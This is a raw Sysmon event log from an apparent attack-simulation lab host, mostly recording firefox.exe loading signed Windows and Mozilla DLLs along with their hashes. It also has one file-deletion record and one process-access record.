(rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000050277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000050276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000050275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000050274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000050273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000050272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000050271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000050270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000050269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000050268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msi.dll5.0.14393.4530Windows InstallerWindows Installer - UnicodeMicrosoft Corporationmsi.dllMD5=4479EEB5C5400D4C084274BA015750FA,SHA256=6B30AE7147132038E603EEB2D35C35BB3D03EC5AFA560D31969E2D39A44ACDCD,IMPHASH=702DDC1509DE604C8D612A66E9E39DACtrueMicrosoft WindowsValid 734700x800000000000000050267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\usp10.dll10.0.14393.3321 (rs1_release.191016-1811)Uniscribe Unicode script processorMicrosoft® Windows® Operating SystemMicrosoft CorporationUSP10.DLLMD5=ACF31D492FD578C0374EB20CC393BE98,SHA256=D49ECA60A94B30DB87CDCEB36F284D273E080E8689E4B0F99D5BD44FFD117A92,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\avrt.dll10.0.14393.2969 (rs1_release.190503-1820)Multimedia Realtime RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationavrt.dllMD5=8EC9E2490A9FFA637115F758B22FFF78,SHA256=1A3295CBF09E9367CCE68505D949D724FB9B66B4516770B7D594273C3BCFC5B8,IMPHASH=F266C00A61E480BB0A81B1A89DB30014trueMicrosoft WindowsValid 734700x800000000000000050265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\setupapi.dll10.0.14393.2608 (rs1_release.181024-1742)Windows Setup APIMicrosoft® Windows® Operating SystemMicrosoft CorporationSETUPAPI.DLLMD5=8EEA3E9E124AC395915517588723F12E,SHA256=ED63B8F0079069271F46EECCB4B0CF384D02BD1E18FE3BA635A0C0B1284B2CBE,IMPHASH=5910ADAAC44A92AFA6ED871531949CEEtrueMicrosoft WindowsValid 734700x800000000000000050264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000050263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000050262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000050261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000050260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000050259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000050258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000050257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000050256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\xul.dll92.0-FirefoxMozilla Foundationxul.dllMD5=3766950EB9C04428A9C737E569AC7ED9,SHA256=FC3E8D58FDB3000E92E0A62E044B2391BA002994935B04E39A1A3AF219102451,IMPHASH=0CA4B93436FFED8B6671051BFC088C43trueMozilla CorporationValid 734700x800000000000000050255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\lgpllibs.dll92.0-FirefoxMozilla Foundationlgpllibs.dllMD5=269AB2EAD217B029964A404AA6274B7F,SHA256=4EC20AE6993C89A577E13B64EEAD560E680FBC22B0398E4F747E24338DAB4E3A,IMPHASH=451AECEA9F58042E76D96A82BE2804FAtrueMozilla CorporationValid 734700x800000000000000050254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000050253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmmbase.dll10.0.14393.0 (rs1_release.160715-1616)Base Multimedia Extension API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMMbase.DLLMD5=24C1E8F8C10471C5A6F0E8AF141211EB,SHA256=75ECAE23C920D81614BA5C0648377C2FC04C7379FD6A388C244A81F50AAB7B1C,IMPHASH=0B9A3C99AAFA99247F9E2BD866186AEAtrueMicrosoft WindowsValid 734700x800000000000000050252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wsock32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Socket 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationwsock32.dllMD5=9471D5E2FEDF5552440BF935143DFAB0,SHA256=B489197F05EFFFB17F10FA9942DB88100C86BEB8291F9ACC8EB38BEF751BF90D,IMPHASH=6D33A1BDF842DEBFB889C44A830190E7trueMicrosoft WindowsValid 734700x800000000000000050251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmm.dll10.0.14393.0 (rs1_release.160715-1616)MCI API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMM.DLLMD5=F16410F5D557337B05CF4F93691EC106,SHA256=2B5BC3C0A6514356C6719298FC25D8D192A2C973EE3283EF48379D2745C9BD87,IMPHASH=9F0D37252D56D3F9E44E69CCC59B57AEtrueMicrosoft WindowsValid 734700x800000000000000050250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000050249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\nss3.dll92.0-FirefoxMozilla Foundationnss3.dllMD5=D75237337798A67147768480343F6CD4,SHA256=D8969ACE98532DC895616847FEDBB9B2A4FCB21E660DE3A42689DA0A1924FDB6,IMPHASH=0DFC68B8DD02D4E1CB73F90762A0E3D7trueMozilla CorporationValid 23542300x800000000000000050248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3776C592142F75988E829594CC103195,SHA256=457472E73AAE6885EDE8A2F4A5CA76B8D2FB501C219C790521C20614419E0F24,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000050246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000050245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000050244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000050242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000050241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140_1.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=4DC09CA657822C2E8160255F767597DF,SHA256=922124BA0821AA864A0261ED88BD25F8E40F94C24D00D389E23CD9AB2BFC6BA4,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000050240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000050239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000050238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=ADE7AAC069131F54E4294F722C17A412,SHA256=92D50F7C4055718812CD3D823AA2821D6718EB55D2AB2BAC55C2E47260C25A76,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000050237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=4B6BA0947F115AE9FD3016D26D57ABB8,SHA256=254DF96324D019A7C4213ABD4178944B8BF2873D0C3EDC1835D4C668F83D7C37,IMPHASH=4F1912F58F8D1AE7998EF5303198D62DtrueMicrosoft CorporationValid 734700x800000000000000050236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000050235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000050234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000050233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000050232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 10341000x800000000000000050231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.044{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 